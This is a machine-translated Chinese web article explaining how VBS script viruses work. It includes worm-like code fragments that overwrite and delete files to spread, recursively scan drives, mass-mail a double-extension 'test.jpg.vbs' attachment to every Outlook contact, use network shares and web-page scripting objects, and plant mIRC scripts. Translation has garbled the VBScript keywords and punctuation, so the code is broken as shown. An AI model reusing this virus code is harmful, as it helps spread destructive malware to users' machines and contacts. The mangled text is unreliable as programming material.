menuconfig列

电脑杂谈  发布时间:2020-07-07 21:08:09  来源:网络整理

vbs病毒_vbs病毒脚本_vbs病毒

首先,Vbs脚本病毒的特征和发展现状

VBS病毒是用VB脚本编写的. 脚本语言非常强大. 它们使用Windows系统的开放功能,并且可以通过调用一些现有的Windows对象和组件来直接控制文件系统和注册表. , 很强大. 应该说,病毒是一个主意,但是用VBS实施该主意变得非常容易. VBS脚本病毒具有以下特征:

1. 编写起来很简单. 没有病毒知识的病毒爱好者可以在短时间内编译出新型病毒.

2. 破坏性的. 它的破坏力不仅体现在破坏用户系统文件和性能上. 他还可能使邮件服务器崩溃并严重阻塞网络.

3. 传染性. 因为脚本是直接解释和执行的,并且不需要像PE病毒那样进行复杂的PE文件格式处理,所以这种类型的病毒可以通过自我复制直接感染其他相似的文件,并且自我例外处理变得非常容易

4. 价差很大. 这样的病毒可以通过htm文件,电子邮件附件或其他方法在很短的时间内传播到全世界.

5. 病毒源代码很容易获得,并且有许多变体. 由于VBS病毒的解释和执行,其源代码非常易读. 即使病毒源代码被加密,获取源代码也相对简单. 因此,这种病毒有许多变种. 如果稍微更改病毒的结构或修改特征值,则许多防病毒软件可能无能为力.

6. 骗人的为了获得运行的机会,脚本病毒经常使用各种手段使用户较少关注. 例如,电子邮件的附件名称使用双后缀,例如.jpg.vbs. 由于系统默认情况下不显示后缀,因此用户可以看到此文件. ,它将被视为jpg图片文件.

7. 它使病毒生产机非常易于实施. 所谓的病毒产生机器是一种可以根据用户的意愿产生病毒的机器(当然,这是指一个程序). 当前大多数病毒产生机器是脚本化病毒产生机器. 最重要的是因为脚本已被解释和执行,并且易于实现,将在后面进行讨论.

由于上述特征,脚本病毒的发展非常迅速,特别是病毒产生机器的出现,使得很容易生成新的脚本病毒.

Vbs脚本病毒的第二,原理分析

1. vbs脚本病毒如何感染和搜索文件

VBS脚本病毒通常直接通过自我复制来感染文件. 病毒中的大多数代码都可以直接附加到其他类似程序的中间. 例如,新的欢乐时光病毒可以将其自己的代码附加到.htm文件. 最后,在顶部添加一条语句以调用病毒代码,然后,爱虫病毒会直接生成该文件的副本,然后将病毒代码复制到其中,并使用原始文件名作为病毒文件的前缀名称,并以vbs作为后缀. 让我们通过爱情bug病毒的部分代码来分析这些病毒的感染和搜索原理:

以下是文件感染的一些关键代码:

Set fso = createobject(“ scripting.filesystemobject”)'创建文件系统对象

set self = fso.opentextfile(wscript.scriptfullname,1)'读取并打开当前文件(即病毒本身)

vbscopy = self.readall'将所有病毒代码读取到字符串变量vbscopy ...

set ap = fso.opentextfile(target file.path,2,true)'写入以打开目标文件,准备编写病毒代码

ap.write vbscopy'用目标文件覆盖病毒代码

ap.close

set cop = fso.getfile(target file.path)'获取目标文件路径

cop.copy(target file.path&“ .vbs”)'创建另一个病毒文件(后缀.vbs)

Target file.delete(true)'删除目标文件

上面描述了病毒文件如何感染普通文件: 首先将病毒自身的代码分配给字符串变量vbscopy,然后将该字符串覆盖到目标文件,并使用目标文件名创建文件名前缀,vbs为带有后缀的文件副本,最后删除目标文件.

以下是文件搜索代码的详细分析:

'此功能主要用于查找符合条件的文件并生成相应文件的病毒副本

sub scan(folder_)'的扫描功能定义,

在错误继续时继续操作'如果发生错误,请直接跳过以防止错误窗口弹出

设置folder_ = fso.getfolder(folder _)

vbs病毒_vbs病毒脚本_vbs病毒

set files = folder_.files当前目录中所有文件的集合

对于filesext = fso.GetExtensionName(file)中的每个文件,'获取文件后缀

ext = lcase(ext)'后缀名称转换为小写字母

如果ext =“ mp5” then'如果后缀名称是mp5,则进行感染. 请使用相应的后缀名(最好是后缀名)创建自己的文件,以免损坏正常程序.

Wscript.echo(文件)

如果结束

下一个

set subfolders = folder_.subfolders

在子文件夹搜索其他目录中的每个子文件夹;递归调用

scan()

扫描(子文件夹)

下一个

结束子

上面的代码是用于文件搜索的VBS脚本病毒的代码分析. 搜索部分中的scan()函数相对较短,聪明并且非常聪明. 它使用递归算法遍历整个分区的目录和文件.

2. vbs脚本病毒通过网络传播的几种方式和代码分析

VBS脚本病毒广泛传播的原因取决于其网络传播功能. 一般来说,VBS脚本病毒以以下方式传播:

1)通过电子邮件附件传播

这是一种非常普遍的传播方式. 病毒可以通过各种方法获取合法的电子邮件地址. 最常见的是直接在Outlook通讯簿中获取电子邮件地址,或通过程序在用户文档(例如htm文件)中搜索电子邮件地址.

以下是对VBS脚本病毒如何执行此操作的详细分析:

函数mailBroadcast()

出现错误时继续

wscript.echo

Set outlookApp = CreateObject(“ Outlook.Application”)//创建OUTLOOK应用程序的对象

如果outlookApp =“ Outlook”然后

设置mapiObj = outlookApp.GetNameSpace(“ MAPI”)//获取MAPI命名空间

设置addrList = mapiObj.AddressLists //获取地址表的数量

对于addrList中的每个地址

如果addr.AddressEntries.Count <> 0那么

addrEntCount = addr.AddressEntries.Count //获取每个地址表中的电子邮件记录数

vbs病毒_vbs病毒_vbs病毒脚本

对于addrEntIndex = 1要addrEntCount //遍历地址表的电子邮件地址

设置item = outlookApp.CreateItem(0)//获取邮件对象实例

设置addrEnt = addr.AddressEntries(addrEntIndex)//获取特定的电子邮件地址

item.To = addrEnt.Address //填写收件人地址项. Subject=“病毒传播实验” //写邮件头

item.Body =“这是病毒邮件传输测试. 收到此信时请不要惊慌! //写入文件内容

设置attachMents = item.Attachments //定义邮件附件

attachMents.Add fileSysObj.GetSpecialFolder(0)&“ /test.jpg.vbs”

item.DeleteAfterSubmit = True //提交信件后自动删除

如果为item.To <>“”然后

item.Send //发送邮件

shellObj.regwrite“ HKCU / software / Mailtest / mailed”,“ 1” //病毒标记,以避免重复感染

如果结束

下一步

如果结束

下一步

如果结束

结束功能

2)通过局域网共享和传播

局域网共享通信也是一种非常普遍有效的网络通信方法. 一般来说,为了方便局域网中的通信,必须有许多共享目录并具有可写权限. 例如,当win2000创建共享时,默认值为具有可写权限. 这样,病毒可以通过搜索共享目录将病毒代码传播到这些目录.

在VBS中,有一个对象可以实现网络邻居共享文件夹的搜索和文件操作. 我们可以使用这个对象来达到沟通的目的.

welcome_msg =“网络连接搜索测试”

设置WSHNetwork = WScript.CreateObject(“ WScript.Network”)’创建网络对象

设置oPrinters = WshNetwork.EnumPrinterConnections’创建网络打印机连接列表

WScript.Echo“网络打印机映射: ”

对于i = 0到oPrinters.Count-1步骤2’显示网络打印机连接状态

WScript.Echo“ Port”&oPrinters.Item(i)&“ =”&oPrinters.Item(i + 1)

下一步

设置colDrives = WSHNetwork.EnumNetworkDrives’创建网络共享连接列表

如果colDrives.Count = 0那么

vbs病毒_vbs病毒_vbs病毒脚本

MsgBox“没有要列出的驱动器. ”,vbInformation + vbOkOnly,welcome_msg

其他

strMsg =“当前网络驱动器连接: ”和CRLF

对于i = 0到colDrives.Count-1步骤2

strMsg = strMsg&Chr(13)&Chr(10)&colDrives(i)&Chr(9)&colDrives(i + 1)

下一步

MsgBox strMsg,vbInformation + vbOkOnly,welcome_msg'显示当前的网络驱动器连接,如果结束

上面是一个完整的脚本程序,用于查找当前的打印机连接和网络共享连接并显示它们. 了解共享连接后vbs病毒,我们可以直接将文件读写到目标驱动器.

3)通过htm,asp,jsp,php和其他Web文件的感染传播

如今,WWW服务已变得非常普遍. 病毒通过感染htm等文件,不可避免地会对所有访问该网页的用户造成病毒.

病毒可以在htm文件中发挥强大功能的原因与大多数网页恶意代码使用相同的原理. 基本上,它们使用相同的代码,但也可以使用其他代码,此代码是病毒FSO,WSH和其他对象可以在网页中运行的关键. 在注册表HKEY_CLASSES_ROOT / CLSID /中,我们可以找到这样的主键{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},注册表中的其他描述是“ Windows Script Host Shell Object”,类似地,我们也可以找到{0D43FE01 -F093-11CF-8940-00A0C9054228},则它在注册表中的描述为“ FileSystem Object”. 通常,必须先初始化COM. 获得相应的组件对象后,病毒即可正确使用FSO和WSH. 对象调用其强大的功能. 代码如下:

设置Apple0bject = document.applets(“ KJ_guest”)

Apple0bject.setCLSID(“ {F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)

Apple0bject.createInstance()’创建实例

设置WsShell Apple0bject.Get0bject()

Apple0bject.setCLSID(“ {0D43FE01-F093-11CF-8940-00A0C9054228}”)

Apple0bject.createInstance()’创建实例

设置FSO = Apple0bject.Get0bject()

对于其他类型的文件,我们将不在此处一一分析.

4)通过IRC聊天频道传播

通过IRC传播的病毒通常使用以下代码(以MIRC为例)

Dim mirc

set fso = CreateObject(“ Scripting.FileSystemObject”)

set mirc = fso.CreateTextFile(“ C: /mirc/script.ini”)’创建文件script.ini


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/jisuanjixue/article-272145-1.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 郝亮
      郝亮

      绝大多数的人都不理解谢教授的真正用意

    • 刘景远
      刘景远

      你余杭那些地哪里来的

    热点图片
    拼命载入中...